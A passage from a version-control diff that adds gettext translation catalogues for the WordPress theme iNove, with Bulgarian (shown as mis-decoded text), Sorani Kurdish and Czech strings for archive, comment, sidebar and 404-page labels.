archive.php:19 +#, php-format +msgid "Archive for the ‘%1$s’ Category" +msgstr "Ðрхив за ‘%1$s’ категориÑ" + +#: archive.php:22 +#, php-format +msgid "Posts Tagged ‘%1$s’" +msgstr "Статии по ключова дума: ‘%1$s’" + +#: archive.php:25 +#: archive.php:28 +#: archive.php:31 +#, php-format +msgid "Archive for %1$s" +msgstr "Ðрхив за %1$s" + +#: archive.php:25 +#: archive.php:47 +#: archives.php:14 +#: comments.php:91 +#: functions.php:563 +#: index.php:22 +#: links.php:25 +#: page.php:8 +#: single.php:15 +#: twitter.php:15 +msgid "F jS, Y" +msgstr "j F, Y" + +#: archive.php:28 +msgid "F, Y" +msgstr "" + +#: archive.php:31 +msgid "Y" +msgstr "" + +#: archive.php:34 +msgid "Author Archive" +msgstr "Ðрхив на автор" + +#: archive.php:37 +msgid "Blog Archives" +msgstr "Ðрхив на блог" + +#: archive.php:49 +#: archives.php:15 +#: comments.php:95 +#: functions.php:571 +#: index.php:24 +#: links.php:26 +#: page.php:9 +#: single.php:17 +#: twitter.php:16 +msgid "Edit" +msgstr "Редактирай" + +#: archive.php:50 +#: index.php:25 +msgid "No comments" +msgstr "ÐÑма коментари" + +#: archive.php:50 +#: index.php:25 +msgid "1 comment" +msgstr "1 коментар" + +#: archive.php:50 +#: index.php:25 +#, php-format +msgid "% comments" +msgstr "% коментари" + +#: archive.php:50 +#: index.php:25 +msgid "Comments off" +msgstr "" + +#: archive.php:54 +#: index.php:29 +msgid "Read more..." +msgstr "Продължи към Ð¿ÑŠÐ»Ð½Ð¸Ñ Ñ‚ÐµÐºÑÑ‚ »" + +#: archive.php:58 +#: index.php:33 +#: single.php:29 +msgid "Categories: " +msgstr "" + +#: archive.php:59 +#: index.php:34 +#: single.php:30 +msgid "Tags: " +msgstr "" + +#: archive.php:64 +#: archives.php:39 +#: index.php:39 +#: links.php:59 +#: page.php:26 +#: single.php:68 +#: twitter.php:36 +msgid "Sorry, no posts matched your criteria." +msgstr "СъжалÑвам, но не открих Ñтатии, които да отговарÑÑ‚ на вашето търÑене" + +#: archive.php:72 +#: index.php:47 +msgid "Newer Entries" +msgstr "По-нови Ñтатии" + +#: archive.php:73 +#: index.php:48 +msgid "Older Entries" +msgstr "По-Ñтари Ñтатии" + +#: archives.php:17 +#: comments.php:31 +#: links.php:28 +#: page.php:11 +#: single.php:19 +#: twitter.php:18 +msgid "Leave a comment" +msgstr "Коментирай" + +#: archives.php:18 +#: links.php:29 +#: page.php:12 +#: single.php:20 +#: twitter.php:19 +msgid "Go to comments" +msgstr "" + +#: comments.php:5 +msgid "Enter your password to view comments." +msgstr "ТрÑбва да въведете парола, за да можете да разглеждате коментарите" + +#: comments.php:25 +#: comments.php:28 +#: functions.php:367 +msgid "Comments" +msgstr "Коментари" + +#: comments.php:26 +msgid "Trackbacks" +msgstr "" + +#: comments.php:34 +msgid "Trackback" +msgstr "" + +#: comments.php:58 +msgid "No comments yet." +msgstr "Ð’Ñе още нÑма коментар" + +#: comments.php:72 +msgid "Comment pages" +msgstr "Коментари" + +#: comments.php:91 +#: functions.php:563 +#, php-format +msgid "%1$s at %2$s" +msgstr "%1$s в %2$s" + +#: comments.php:91 +#: functions.php:563 +msgid "H:i" +msgstr "" + +#: comments.php:108 +msgid "No trackbacks yet." +msgstr "0 trackbacks" + +#: comments.php:123 +msgid "Comments are closed." +msgstr "Коментарите Ñа затворени" + +#: comments.php:134 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "ТрÑбва да Ñте региÑтриран за да публикувате коментар." + +#: comments.php:150 +msgid "Logged in as" +msgstr "РегиÑтриран Ñте като " + +#: comments.php:151 +msgid "Log out of this account" +msgstr "Изход от този потребител" + +#: comments.php:151 +msgid "Logout »" +msgstr "Излез »" + +#: comments.php:157 +#, php-format +msgid "Welcome back %s." +msgstr "Добре дошъл отново %s." + +#: comments.php:158 +msgid "Change »" +msgstr "Промени името »" + +#: comments.php:159 +msgid "Close »" +msgstr "Затвори »" + +#: comments.php:166 +msgid "Name" +msgstr "Име" + +#: comments.php:166 +#: comments.php:170 +msgid "(required)" +msgstr "(задължително)" + +#: comments.php:170 +msgid "E-Mail (will not be published)" +msgstr "Е-мейл (нÑма да Ñе вижда)" + +#: comments.php:174 +msgid "Website" +msgstr "Уеб Ñтраница" + +#: comments.php:191 +msgid "Subscribe to comments feed" +msgstr "Ðбонирай Ñе за коментарите" + +#: comments.php:193 +msgid "Submit Comment" +msgstr "Публикувай коментар" + +#: footer.php:17 +msgid "Top" +msgstr "Горе" + +#: footer.php:27 +msgid "Copyright © " +msgstr "" + +#: footer.php:39 +#, php-format +msgid "Theme by NeoEase. Valid XHTML 1.1 and CSS 3." +msgstr "" + +#: functions.php:180 +#: functions.php:189 +msgid "Current Theme Options" +msgstr "ÐаÑтройки на темата" + +#: functions.php:194 +msgid "Search" +msgstr "ТърÑене" + +#: functions.php:198 +msgid "Using google custom search engine." +msgstr "" + +#: functions.php:201 +msgid "CX:" +msgstr "" + +#: functions.php:204 +#, php-format +msgid "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" +msgstr "" + +#: functions.php:213 +msgid "Menubar" +msgstr "" + +#: functions.php:217 +msgid "Show pages as menu." +msgstr "Показвай Ñтраниците като меню" + +#: functions.php:221 +msgid "Show categories as menu." +msgstr "Показвай категориите като меню" + +#: functions.php:231 +msgid "Sidebar" +msgstr "" + +#: functions.php:235 +msgid "Hide sidebar from all pages." +msgstr "" + +#: functions.php:246 +msgid "Notice" +msgstr "" + +#: functions.php:248 +#: functions.php:272 +#: functions.php:307 +#: functions.php:430 +msgid "HTML enabled" +msgstr "" + +#: functions.php:254 +msgid "This notice bar will display at the top of posts on homepage." +msgstr "" + +#: functions.php:270 +msgid "Banner" +msgstr "" + +#: functions.php:276 +msgid "This banner will display at the right of header. (height: 60 pixels)" +msgstr "" + +#: functions.php:278 +#: functions.php:313 +msgid "Who can see?" +msgstr "" + +#: functions.php:281 +#: functions.php:316 +msgid "Registered Users" +msgstr "" + +#: functions.php:285 +#: functions.php:320 +msgid "Commentator" +msgstr "" + +#: functions.php:289 +#: functions.php:324 +msgid "Visitors" +msgstr "" + +#: functions.php:305 +#: sidebar.php:56 +msgid "Showcase" +msgstr "" + +#: functions.php:311 +msgid "This showcase will display at the top of sidebar." +msgstr "" + +#: functions.php:329 +msgid "Title:" +msgstr "" + +#: functions.php:345 +msgid "Posts" +msgstr "" + +#: functions.php:349 +msgid "Show author on posts." +msgstr "" + +#: functions.php:353 +msgid "Show categories on posts." +msgstr "" + +#: functions.php:357 +msgid "Show tags on posts." +msgstr "" + +#: functions.php:371 +msgid "Submit comments with Ctrl+Enter." +msgstr "" + +#: functions.php:381 +msgid "Feed" +msgstr "" + +#: functions.php:385 +msgid "Show the feed reader list when mouse over on feed button." +msgstr "" + +#: functions.php:390 +msgid "Custom feed." +msgstr "" + +#: functions.php:392 +#: functions.php:398 +msgid "URL:" +msgstr "" + +#: functions.php:396 +msgid "Email feed." +msgstr "" + +#: functions.php:407 +#: sidebar.php:42 +msgid "Twitter" +msgstr "" + +#: functions.php:411 +msgid "Add Twitter button." +msgstr "" + +#: functions.php:414 +msgid "Twitter username:" +msgstr "" + +#: functions.php:428 +msgid "Web Analytics" +msgstr "" + +#: functions.php:435 +msgid "Add web analytics code to your site. (e.g. Google Analytics, Yahoo! Web Analytics, ...)" +msgstr "" + +#: functions.php:446 +msgid "Save Changes" +msgstr "" + +#: functions.php:567 +msgid "Reply" +msgstr "Отговори" + +#: functions.php:568 +msgid "Quote" +msgstr "Цитирай" + +#: functions.php:573 +msgid "Advanced edit" +msgstr "Редактирай" + +#: functions.php:579 +msgid "Your comment is awaiting moderation." +msgstr "ВашиÑÑ‚ коментар подлежи на одобрение." + +#: links.php:18 +msgid "Add link" +msgstr "" + +#: links.php:19 +msgid "Edit links" +msgstr "" + +#: sidebar.php:25 +msgid "Subscribe to this blog..." +msgstr "Ðбонамирай Ñе за този блог..." + +#: sidebar.php:25 +msgid "RSS" +msgstr "" + +#: sidebar.php:28 +#: sidebar.php:29 +#: sidebar.php:30 +#: sidebar.php:31 +#: sidebar.php:32 +#: sidebar.php:33 +#: sidebar.php:34 +#: sidebar.php:35 +msgid "Subscribe with " +msgstr "Ðбонирай Ñе Ñ" + +#: sidebar.php:28 +msgid "Google" +msgstr "" + +#: sidebar.php:29 +msgid "Youdao" +msgstr "" + +#: sidebar.php:30 +msgid "Xian Guo" +msgstr "" + +#: sidebar.php:31 +msgid "Zhua Xia" +msgstr "" + +#: sidebar.php:32 +msgid "My Yahoo!" +msgstr "" + +#: sidebar.php:33 +msgid "newsgator" +msgstr "" + +#: sidebar.php:34 +msgid "Bloglines" +msgstr "" + +#: sidebar.php:35 +msgid "iNezha" +msgstr "" + +#: sidebar.php:40 +msgid "Subscribe to this blog via email..." +msgstr "Ðбонирай Ñе за този блог по електронна поща" + +#: sidebar.php:40 +msgid "Email feed" +msgstr "или ги получавайте на е-мейл:" + +#: sidebar.php:42 +msgid "Follow me!" +msgstr "" + +#: single.php:7 +msgid "Go to homepage" +msgstr "" + +#: single.php:7 +msgid "Home" +msgstr "Ðачало" + +#: templates/header.php:66 +msgid "Type text to search here..." +msgstr "" + +#~ msgid "Description:" +#~ msgstr "ОпиÑание:" +#~ msgid "Keywords:" +#~ msgstr "Ключови думи:" +#~ msgid "( Separate keywords with commas )" +#~ msgstr "(отделете думите ÑÑŠÑ Ð·Ð°Ð¿ÐµÑ‚Ð°Ñ)" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/ckb.mo Binary file web/wp-content/themes/inove/languages/ckb.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/ckb.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/languages/ckb.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,573 @@ +msgid "" +msgstr "" +"Project-Id-Version: iNove 1.4\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-08-07 14:01+0900\n" +"PO-Revision-Date: \n" +"Last-Translator: mg12 \n" +"Language-Team: NeoEase \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Chinese\n" +"X-Poedit-Country: CHINA\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: ..\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:8 +#: header.php:27 +msgid "RSS 2.0 - all posts" +msgstr "" + +#: 404.php:9 +#: header.php:28 +msgid "RSS 2.0 - all comments" +msgstr "" + +#: 404.php:22 +msgid "Talker" +msgstr "" + +#: 404.php:25 +msgid "Welcome to 404 error page!" +msgstr "بەخێربێیت بۆ Ù¾Û•Ú•Û•ÛŒ Ù‡Û•ÚµÛ•ÛŒ 404" + +#: 404.php:26 +msgid "Welcome to this customized error page. You've reached this page because you've clicked on a link that does not exist. This is probably our fault... but instead of showing you the basic '404 Error' page that is confusing and doesn't really explain anything, we've created this page to explain what went wrong." +msgstr "ئەمە Ù¾Û•Ú•Û•ÛŒ هەڵەیە، چونکە بەدوای بەستەری Ù‡Û•ÚµÛ• کەوتویت یان Ù¾Û•Ú•Û•Ú©Û• بوونی نییە" + +#: 404.php:27 +msgid "You can either (a) click on the 'back' button in your browser and try to navigate through our site in a different direction, or (b) click on the following link to go to homepage." +msgstr "یان بگەڕێرەوە دواوە یان ئەوەتا گەڕانێکی وردتر بەکار ببە" + +#: 404.php:29 +msgid "Back to homepage »" +msgstr "گەڕانەوە بۆ ماڵپەڕ »" + +#: archive.php:10 +msgid "Search Results" +msgstr "ئەنجامی گەڕان" + +#: archive.php:11 +#, php-format +msgid "Keyword: ‘%1$s’" +msgstr "کلیلەوشەکان: ‘%1$s’" + +#: archive.php:14 +msgid "Archive" +msgstr "ئەرشیÙ" + +#: archive.php:19 +#, php-format +msgid "Archive for the ‘%1$s’ Category" +msgstr "ئەرشی٠بۆ ‘%1$s’ هاوپۆل" + +#: archive.php:22 +#, php-format +msgid "Posts Tagged ‘%1$s’" +msgstr "بابەت تاگی بۆکراوە ‘%1$s’" + +#: archive.php:25 +#: archive.php:28 +#: archive.php:31 +#, php-format +msgid "Archive for %1$s" +msgstr "ئەرشی٠بۆ %1$s" + +#: archive.php:25 +#: archive.php:47 +#: archives.php:14 +#: comments.php:91 +#: functions.php:563 +#: index.php:22 +#: links.php:25 +#: page.php:8 +#: single.php:15 +#: twitter.php:15 +msgid "F jS, Y" +msgstr "" + +#: archive.php:28 +msgid "F, Y" +msgstr "" + +#: archive.php:31 +msgid "Y" +msgstr "" + +#: archive.php:34 +msgid "Author Archive" +msgstr "ئەرسیÙÛŒ نوسەر" + +#: archive.php:37 +msgid "Blog Archives" +msgstr "ئەرشیÙÛŒ ماڵپەڕ یا بڵاگ" + +#: archive.php:49 +#: archives.php:15 +#: comments.php:95 +#: functions.php:571 +#: index.php:24 +#: links.php:26 +#: page.php:9 +#: single.php:17 +#: twitter.php:16 +msgid "Edit" +msgstr "دەستکاری" + +#: archive.php:50 +#: index.php:25 +msgid "No comments" +msgstr "هیج لێدوانێک نییە" + +#: archive.php:50 +#: index.php:25 +msgid "1 comment" +msgstr "یەک لێدوان هەیە" + +#: archive.php:50 +#: index.php:25 +#, php-format +msgid "% comments" +msgstr "% لێدوان" + +#: archive.php:50 +#: index.php:25 +msgid "Comments off" +msgstr "لێدوان داخراوە" + +#: archive.php:54 +#: index.php:29 +msgid "Read more..." +msgstr "درێژەی بابەت ..." + +#: archive.php:58 +#: index.php:33 +#: single.php:29 +msgid "Categories: " +msgstr "هاوپۆلەکان" + +#: archive.php:59 +#: index.php:34 +#: single.php:30 +msgid "Tags: " +msgstr "تاگەکان" + +#: archive.php:64 +#: archives.php:39 +#: index.php:39 +#: links.php:59 +#: page.php:26 +#: single.php:68 +#: twitter.php:36 +msgid "Sorry, no posts matched your criteria." +msgstr "ببورە هیچی نەدۆزیەوە" + +#: archive.php:72 +#: index.php:47 +msgid "Newer Entries" +msgstr "نوێتر" + +#: archive.php:73 +#: index.php:48 +msgid "Older Entries" +msgstr "کۆنتر" + +#: archives.php:17 +#: comments.php:31 +#: links.php:28 +#: page.php:11 +#: single.php:19 +#: twitter.php:18 +msgid "Leave a comment" +msgstr "لێدوانێک بنوسە" + +#: archives.php:18 +#: links.php:29 +#: page.php:12 +#: single.php:20 +#: twitter.php:19 +msgid "Go to comments" +msgstr "بڕۆ بۆ لێدوانەکان" + +#: comments.php:5 +msgid "Enter your password to view comments." +msgstr "تێپەڕەوشە بنوسە بۆ بینینی لێدوانەکان" + +#: comments.php:25 +#: comments.php:28 +#: functions.php:367 +msgid "Comments" +msgstr "لێدوانەکان" + +#: comments.php:26 +msgid "Trackbacks" +msgstr "تراکباک" + +#: comments.php:34 +msgid "Trackback" +msgstr "تراکباک" + +#: comments.php:58 +msgid "No comments yet." +msgstr "هیج لێدوانیک نییە ئێستا" + +#: comments.php:72 +msgid "Comment pages" +msgstr "Ù¾Û•Ú•Û•ÛŒ لێدوانەکان" + +#: comments.php:91 +#: functions.php:563 +#, php-format +msgid "%1$s at %2$s" +msgstr "%1$s Ù„Û• %2$s" + +#: comments.php:91 +#: functions.php:563 +msgid "H:i" +msgstr "" + +#: comments.php:108 +msgid "No trackbacks yet." +msgstr "" + +#: comments.php:123 +msgid "Comments are closed." +msgstr "لێدوانەکان داخراون" + +#: comments.php:134 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "تۆ دەبێت لەژوورەوە بیت بۆ بۆچوون نوسین." + +#: comments.php:150 +msgid "Logged in as" +msgstr "لەژوورەوەی ÙˆÛ•Ú©" + +#: comments.php:151 +msgid "Log out of this account" +msgstr "دەرجوون" + +#: comments.php:151 +msgid "Logout »" +msgstr "دەرجوون »" + +#: comments.php:157 +#, php-format +msgid "Welcome back %s." +msgstr "بەخێربێیتەوە %s" + +#: comments.php:158 +msgid "Change »" +msgstr "گۆڕینی »" + +#: comments.php:159 +msgid "Close »" +msgstr "گۆڕینی »" + +#: comments.php:166 +msgid "Name" +msgstr "ناو" + +#: comments.php:166 +#: comments.php:170 +msgid "(required)" +msgstr "(پێویستە)" + +#: comments.php:170 +msgid "E-Mail (will not be published)" +msgstr "پۆستی ئەلیکترۆنی" + +#: comments.php:174 +msgid "Website" +msgstr "وێبگە" + +#: comments.php:191 +msgid "Subscribe to comments feed" +msgstr "بەشداری Ù„Û•Ùێدی بۆچوونەکان" + +#: comments.php:193 +msgid "Submit Comment" +msgstr "ناردنی پەیام" + +#: footer.php:17 +msgid "Top" +msgstr "بۆ سەرەوە" + +#: footer.php:27 +msgid "Copyright © " +msgstr "ماÙÛŒ لەبەرگرتنەوە ©" + +#: footer.php:39 +#, php-format +msgid "Theme by NeoEase. Valid XHTML 1.1 and CSS 3." +msgstr "" + +#: functions.php:180 +#: functions.php:189 +msgid "Current Theme Options" +msgstr "دەستکاریەکانی ڕووکار" + +#: functions.php:194 +msgid "Search" +msgstr "گەڕان" + +#: functions.php:198 +msgid "Using google custom search engine." +msgstr "بەکارهێنانی گووگڵ Ùˆ ئامێرەکەی" + +#: functions.php:201 +msgid "CX:" +msgstr "CX:" + +#: functions.php:204 +#, php-format +msgid "Find name=\"cx\" in the Search box code of Google Custom Search Engine, and type the value here.
    For example: 014782006753236413342:1ltfrybsbz4" +msgstr "" + +#: functions.php:213 +msgid "Menubar" +msgstr "پێرست" + +#: functions.php:217 +msgid "Show pages as menu." +msgstr "نیشاندانی Ù¾Û•Ú•Û• ÙˆÛ•Ú©Ùˆ پێرست" + +#: functions.php:221 +msgid "Show categories as menu." +msgstr "نیشاندانی هاوپۆل ÙˆÛ•Ú©Ùˆ پێرست" + +#: functions.php:231 +msgid "Sidebar" +msgstr "لاتەنیشت" + +#: functions.php:235 +msgid "Hide sidebar from all pages." +msgstr "" + +#: functions.php:246 +msgid "Notice" +msgstr "تێبینی" + +#: functions.php:248 +#: functions.php:272 +#: functions.php:307 +#: functions.php:430 +msgid "HTML enabled" +msgstr "هتمل چالاکە" + +#: functions.php:254 +msgid "This notice bar will display at the top of posts on homepage." +msgstr "ئەم تێبینیە لەسەرەوە پەڕەکان دەردەکەوێت" + +#: functions.php:270 +msgid "Banner" +msgstr "بەیداخ" + +#: functions.php:276 +msgid "This banner will display at the right of header. (height: 60 pixels)" +msgstr "ئەم بەیداخە لەلای سەری ڕاستەوە دەردەکەوێت" + +#: functions.php:278 +#: functions.php:313 +msgid "Who can see?" +msgstr "Ú©ÙˆÛŽ دەتوانم ببینم؟" + +#: functions.php:281 +#: functions.php:316 +msgid "Registered Users" +msgstr "ئەندام خۆتۆمارکردوەکان" + +#: functions.php:285 +#: functions.php:320 +msgid "Commentator" +msgstr "بۆچوونووس" + +#: functions.php:289 +#: functions.php:324 +msgid "Visitors" +msgstr "میوانەکان" + +#: functions.php:305 +#: sidebar.php:56 +msgid "Showcase" +msgstr "بەرهەم" + +#: functions.php:311 +msgid "This showcase will display at the top of sidebar." +msgstr "ئەم بەرهەم یان دروستکراوانە لەسەری لای ڕاستەوە دەردەکەون" + +#: functions.php:329 +msgid "Title:" +msgstr "سەردێڕ:" + +#: functions.php:345 +msgid "Posts" +msgstr "بابەتەکان:" + +#: functions.php:349 +msgid "Show author on posts." +msgstr "نیشاندانی نوسەر Ù„Û•Ú¯Û•Úµ بابەتدا" + +#: functions.php:353 +msgid "Show categories on posts." +msgstr "نیشاندانی هاوپۆل Ù„Û•Ú¯Û•Úµ بابەتدا" + +#: functions.php:357 +msgid "Show tags on posts." +msgstr "نیشاندانی تاگەکان Ù„Û•Ú¯Û•Úµ بابەتدا" + +#: functions.php:371 +msgid "Submit comments with Ctrl+Enter." +msgstr "ناردنی لێدوان بەCtrl+Enter لەسەر تەختەکلیلەوە " + +#: functions.php:381 +msgid "Feed" +msgstr "Ùێد" + +#: functions.php:385 +msgid "Show the feed reader list when mouse over on feed button." +msgstr "نیشاندانی Ùێدەکان لەکاتی بردنی مشکەکە بەسەریاندا" + +#: functions.php:390 +msgid "Custom feed." +msgstr "Ùێدی دروستکراو" + +#: functions.php:392 +#: functions.php:398 +msgid "URL:" +msgstr "بەستەر:" + +#: functions.php:396 +msgid "Email feed." +msgstr "Ùێدی پۆستی ئەلیکترۆنی:" + +#: functions.php:407 +#: sidebar.php:42 +msgid "Twitter" +msgstr "" + +#: functions.php:411 +msgid "Add Twitter button." +msgstr "" + +#: functions.php:414 +msgid "Twitter username:" +msgstr "" + +#: functions.php:428 +msgid "Web Analytics" +msgstr "" + +#: functions.php:435 +msgid "Add web analytics code to your site. (e.g. Google Analytics, Yahoo! Web Analytics, ...)" +msgstr "" + +#: functions.php:446 +msgid "Save Changes" +msgstr "جێگیرکردنی گۆڕانکاریەکان" + +#: functions.php:567 +msgid "Reply" +msgstr "وەڵام" + +#: functions.php:568 +msgid "Quote" +msgstr "ئاماژە" + +#: functions.php:573 +msgid "Advanced edit" +msgstr "دەستکاری پێشکەوتوو" + +#: functions.php:579 +msgid "Your comment is awaiting moderation." +msgstr "بۆچوونەکەت دوای چاولێکردنی بڵاو دەکرێتەوە" + +#: links.php:18 +msgid "Add link" +msgstr "زۆرکردنی بەستەر" + +#: links.php:19 +msgid "Edit links" +msgstr "دەستکاری بەستەرەکان" + +#: sidebar.php:25 +msgid "Subscribe to this blog..." +msgstr "بەشداربە Ù„Û•Ù… بڵاگە" + +#: sidebar.php:25 +msgid "RSS" +msgstr "" + +#: sidebar.php:28 +#: sidebar.php:29 +#: sidebar.php:30 +#: sidebar.php:31 +#: sidebar.php:32 +#: sidebar.php:33 +#: sidebar.php:34 +#: sidebar.php:35 +msgid "Subscribe with " +msgstr "بەشداری Ù„Û•Ú¯Û•Úµ" + +#: sidebar.php:28 +msgid "Google" +msgstr "" + +#: sidebar.php:29 +msgid "Youdao" +msgstr "" + +#: sidebar.php:30 +msgid "Xian Guo" +msgstr "" + +#: sidebar.php:31 +msgid "Zhua Xia" +msgstr "" + +#: sidebar.php:32 +msgid "My Yahoo!" +msgstr "" + +#: sidebar.php:33 +msgid "newsgator" +msgstr "" + +#: sidebar.php:34 +msgid "Bloglines" +msgstr "" + +#: sidebar.php:35 +msgid "iNezha" +msgstr "" + +#: sidebar.php:40 +msgid "Subscribe to this blog via email..." +msgstr "بەشداری Ù„Û•Ù… بڵاگە بەڕێگای ئیمەیڵەوە" + +#: sidebar.php:40 +msgid "Email feed" +msgstr "Ùێدی ئیمەیڵ" + +#: sidebar.php:42 +msgid "Follow me!" +msgstr "" + +#: single.php:7 +msgid "Go to homepage" +msgstr "بڕۆ بۆ ماڵپەڕ" + +#: single.php:7 +msgid "Home" +msgstr "ماڵەوە" + +#: templates/header.php:66 +msgid "Type text to search here..." +msgstr "وشەیەک بنوسە بۆ گەڕان" + +#~ msgid "Blogroll" +#~ msgstr "بڵۆگڕۆڵ" + diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/cs_CZ.mo Binary file web/wp-content/themes/inove/languages/cs_CZ.mo has changed diff -r 0d9a58d2c515 -r 0d28b7c10758 web/wp-content/themes/inove/languages/cs_CZ.po --- /dev/null Thu Jan 01 00:00:00 1970 +0000 +++ b/web/wp-content/themes/inove/languages/cs_CZ.po Fri Mar 12 13:29:04 2010 +0000 @@ -0,0 +1,570 @@ +msgid "" +msgstr "" +"Project-Id-Version: iNove 1.4\n" +"Report-Msgid-Bugs-To: \n" +"POT-Creation-Date: 2009-08-07 14:01+0900\n" +"PO-Revision-Date: 2009-08-07 14:01+0900\n" +"Last-Translator: mg12 \n" +"Language-Team: NeoEase \n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Poedit-Language: Chinese\n" +"X-Poedit-Country: CHINA\n" +"X-Poedit-SourceCharset: utf-8\n" +"X-Poedit-KeywordsList: _e;__\n" +"X-Poedit-Basepath: ..\n" +"X-Poedit-SearchPath-0: .\n" + +#: 404.php:8 +#: header.php:27 +msgid "RSS 2.0 - all posts" +msgstr "RSS 2.0 - vÅ¡echny příspÄ›vky" + +#: 404.php:9 +#: header.php:28 +msgid "RSS 2.0 - all comments" +msgstr "RSS 2.0 - vÅ¡echny komentáře" + +#: 404.php:22 +msgid "Talker" +msgstr "MluvÄí" + +#: 404.php:25 +msgid "Welcome to 404 error page!" +msgstr "Vítejte na chybové stránce 404!" + +#: 404.php:26 +msgid "Welcome to this customized error page. You've reached this page because you've clicked on a link that does not exist. This is probably our fault... but instead of showing you the basic '404 Error' page that is confusing and doesn't really explain anything, we've created this page to explain what went wrong." +msgstr "Vítejte na chybové stránce. Dostali jste se sem, protože jste klikli na odkaz, který neexistoval. Toto je pravdÄ›podobnÄ› chyba a protože zobrazení standartní '404 Chybové stránky' je obÄas zmatené a opravdu nedokáže vysvÄ›tlit vÅ¡e. Proto jsme vytvoÅ™ili tuto stánku, která vysvÄ›tluje co je Å¡patnÄ›. " + +#: 404.php:27 +msgid "You can either (a) click on the 'back' button in your browser and try to navigate through our site in a different direction, or (b) click on the following link to go to homepage." +msgstr "Můžete zvolit (a) kliknout na tlaÄítko 'zpÄ›t' ve vaÅ¡em prohlížeÄi a zkusit procházet webovou stránku z jiného smÄ›ru nebo zvolit (b) a kliknou na následující odkaz a pÅ™ejít na homepage." + +#: 404.php:29 +msgid "Back to homepage »" +msgstr "ZpÄ›t na homepage »" + +#: archive.php:10 +msgid "Search Results" +msgstr "Výsledky vyhledávání" + +#: archive.php:11 +#, php-format +msgid "Keyword: ‘%1$s’" +msgstr "KlíÄové slovo: ‘%1$s’" + +#: archive.php:14 +msgid "Archive" +msgstr "Archív" + +#: archive.php:19 +#, php-format +msgid "Archive for the ‘%1$s’ Category" +msgstr "Archív pro ‘%1$s’ Kategorie" + +#: archive.php:22 +#, php-format +msgid "Posts Tagged ‘%1$s’" +msgstr "PříspÄ›vek oÅ¡títkován ‘%1$s’" + +#: archive.php:25 +#: archive.php:28 +#: archive.php:31 +#, php-format +msgid "Archive for %1$s" +msgstr "Archív pro %1$" + +#: archive.php:25 +#: archive.php:47 +#: archives.php:14 +#: comments.php:91 +#: functions.php:563 +#: index.php:22 +#: links.php:25 +#: page.php:8 +#: single.php:15 +#: twitter.php:15 +msgid "F jS, Y" +msgstr "d.m.Y" + +#: archive.php:28 +msgid "F, Y" +msgstr "m/Y" + +#: archive.php:31 +msgid "Y" +msgstr "Y" + +#: archive.php:34 +msgid "Author Archive" +msgstr "Autorův archiv" + +#: archive.php:37 +msgid "Blog Archives" +msgstr "Archív blogu" + +#: archive.php:49 +#: archives.php:15 +#: comments.php:95 +#: functions.php:571 +#: index.php:24 +#: links.php:26 +#: page.php:9 +#: single.php:17 +#: twitter.php:16 +msgid "Edit" +msgstr "Upravit" + +#: archive.php:50 +#: index.php:25 +msgid "No comments" +msgstr "Bez komentářů" + +#: archive.php:50 +#: index.php:25 +msgid "1 comment" +msgstr "1 komentář" + +#: archive.php:50 +#: index.php:25 +#, php-format +msgid "% comments" +msgstr "PoÄet komentářů: % " + +#: archive.php:50 +#: index.php:25 +msgid "Comments off" +msgstr "" + +#: archive.php:54 +#: index.php:29 +msgid "Read more..." +msgstr "Číst více ..." + +#: archive.php:58 +#: index.php:33 +#: single.php:29 +msgid "Categories: " +msgstr "" + +#: archive.php:59 +#: index.php:34 +#: single.php:30 +msgid "Tags: " +msgstr "" + +#: archive.php:64 +#: archives.php:39 +#: index.php:39 +#: links.php:59 +#: page.php:26 +#: single.php:68 +#: twitter.php:36 +msgid "Sorry, no posts matched your criteria." +msgstr "Promiňte, žádné příspÄ›vky neodpovídájí vaÅ¡emu kritérii." + +#: archive.php:72 +#: index.php:47 +msgid "Newer Entries" +msgstr "NovÄ›jší příspÄ›vky" + +#: archive.php:73 +#: index.php:48 +msgid "Older Entries" +msgstr "Starší příspÄ›vky" + +#: archives.php:17 +#: comments.php:31 +#: links.php:28 +#: page.php:11 +#: single.php:19 +#: twitter.php:18 +msgid "Leave a comment" +msgstr "Zanechte komentář" + +#: archives.php:18 +#: links.php:29 +#: page.php:12 +#: single.php:20 +#: twitter.php:19 +msgid "Go to comments" +msgstr "PÅ™ejít na komentáře" + +#: comments.php:5 +msgid "Enter your password to view comments." +msgstr "Zadejte heslo pro prohlížení komentářů." + +#: comments.php:25 +#: comments.php:28 +#: functions.php:367 +msgid "Comments" +msgstr "Komentáře" + +#: comments.php:26 +msgid "Trackbacks" +msgstr "ZpÄ›tné odkazy" + +#: comments.php:34 +msgid "Trackback" +msgstr "ZpÄ›tný odkaz" + +#: comments.php:58 +msgid "No comments yet." +msgstr "Bez komentářů." + +#: comments.php:72 +msgid "Comment pages" +msgstr "Stránky s komentáři" + +#: comments.php:91 +#: functions.php:563 +#, php-format +msgid "%1$s at %2$s" +msgstr "%1$s na %2$s" + +#: comments.php:91 +#: functions.php:563 +msgid "H:i" +msgstr "H:i" + +#: comments.php:108 +msgid "No trackbacks yet." +msgstr "Žádné zpÄ›tné odkazy" + +#: comments.php:123 +msgid "Comments are closed." +msgstr "Komentáře jsou uzavÅ™eny." + +#: comments.php:134 +#, php-format +msgid "You must be logged in to post a comment." +msgstr "Musíte být pÅ™ihlášen k poslání komentáře." + +#: comments.php:150 +msgid "Logged in as" +msgstr "PÅ™ihlášen jako" + +#: comments.php:151 +msgid "Log out of this account" +msgstr "Odhlásit se z úÄtu" + +#: comments.php:151 +msgid "Logout »" +msgstr "Odhlásit »" + +#: comments.php:157 +#, php-format 